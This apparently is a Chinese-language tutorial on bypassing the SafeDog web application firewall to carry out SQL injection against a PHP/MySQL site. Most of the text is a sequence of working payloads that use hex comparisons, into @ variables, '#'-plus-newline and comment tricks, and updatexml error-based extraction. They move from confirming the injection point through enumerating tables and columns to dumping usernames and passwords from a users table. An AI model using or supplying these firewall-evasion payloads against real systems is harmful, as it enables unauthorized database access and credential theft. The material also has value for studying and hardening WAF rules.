sql注入全方位绕过安全狗
版本环境
PHP:5.6.9
mysql:8.0.12
安全狗:V4.0.23137
apache:2.4.39
手工注入步骤拆解
通过手工注入验证注入点,直到查出表名、列名、字段名,最后爆出数据。
and判断注入点
首先按照常规的判断注入点的方式1' and 1=1--+
一点一点输入,刚开始安全狗不拦截,直到1' and
后面再输入字符就会拦截。
再把后面一位fuzz一下,发现用十六进制安全狗不拦截。此时payload为1' and 0x3a
那就继续尝试1' and 0x3a=0x3a
,被拦截了
换不等号试试,可以绕过
所以最终payload为1' and 0x3a!=1--+
当然这里的0x3a可以替换为任意的十六进制字符串
order by获取字段个数
用常见的payload 1' order by 4--+
获取字段数会被安全狗拦截
改用into+变量的方式绕过,在三个变量的时候页面没有显示
在4个变量的时候页面报错了,说明该表的字段数为3个
当然不输入变量名也可以,会让payload更简洁
payload:
1’ into @a,@b,@c,@d–+
或
1’ into @,@,@,@–+
union select绕过
这里的规则挺强的,猜测union select之间加入任何字符都会被拦截,经过fuzz测试发现加入井号#不会被拦截,而是报错,锚点这个特性应该是个突破口
这里参考了一下pureqh师傅的order by绕过姿势SQL注入bypass最新版安全狗,顺便简化了一下,直接给payload
1’regexp”%23”union%0aselect 1,2,3–+
那么同理把正则匹配的函数换了一下应该也行,换成like确实也可以
1’like”%23”union%0aselect 1,2,3–+
报错注入获取数据库名
先放一个经典报错注入payload,毫无疑问直接被拦截了
1’ and(updatexml(1,concat(0x7e,(select user()),0x7e),1))–+
还是一点一点测试,1' and(updatexml(
不会拦截,但1%27%20and(updatexml()
就会被拦截,说明规则检测了updatexml后面不能跟一对完整的括号()。虽然在括号里输入一些字符也不会拦截,但只要输入满3个变量安全狗还是会拦截,说明并没有完全绕过。于是还是同样的方法,用井号+换行符绕过函数后面跟括号的这个规则。
1’like”%23”and(updatexml(1,%0a1,1))–+
接下来的问题就是要让它报错来显示当前用户名(显示数据库名同理)。把中间的字符串直接替换成select user()
还是被拦截了。估计也是函数名后面跟一对括号就会被拦截的问题。ok没事,继续构造。首先我们知道函数名和括号直接可以加空格也可以正常执行,所以在这之间加入/*like"%23"*/%0a
,一个注释加一个换行符,其实就相当于一个空格来把user和()间隔开。成功绕过,得到了当前用户名,最终payload
1’like”%23”and(updatexml(1,(select user/*like”%23”*/%0a()),1))–+
显示数据库的时候没有显示出来,对着经典报错注入payload稍微修改了下就好了
1%27like”%23”and(updatexml(1,concat(0x7e,(select%0adatabase/*like”%23”*/%0a()),0x7e),1))–+
显示数据库版本也是同理
1%27like”%23”and(updatexml(1,concat(0x7e,(select%0aversion/*like”%23”*/%0a()),0x7e),1))–+
获取表名
有了数据库名之后,获取当前数据库中的表名,依旧是一点点绕过。尝试到1'like"%23"union%0aselect 1,(select group_concat(table_name) from
后面无论加什么字符都会被拦截了
尝试把”from“的“m”删除,发现可以通过,说明这里匹配了from后面的任何字符。继续尝试用井号绕过。
1’like”%23”union%0aselect 1,(select group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database%0a()),3–+
获取字段名
1’like”%23”union%0aselect 1,(select group_concat(column_name) from/*%23*/information_schema.columns where table_name=%0a’users’),3–+
获取字段值
根据刚刚的测试,只要from后面跟一个空格再加一个字符,就会触发拦截。说明from这里有强检测。用井号和换行符将from包裹起来即可。
1’like”%23”union%0aselect 1,group_concat(username,’-‘,password),3/*%23*/from%0ausers–+
总结
- 在安全狗有强检测关键字的地方,可以用井号和换行符的组合绕过。并且可以将井号包含在注释符中,
/*%23*/
这样就相当于一个空格,而不影响整个sql语句的执行。而%0a
换行符本身就相当于一个空格,就不需要包含在注释符里了 - 井号其实是html的锚点功能,如果安全狗将其拦截,会对业务有很大的影响。在安全与业务冲突时,安全也得给业务让道,所以安全与业务产生冲突的边界恰恰是最薄弱的地方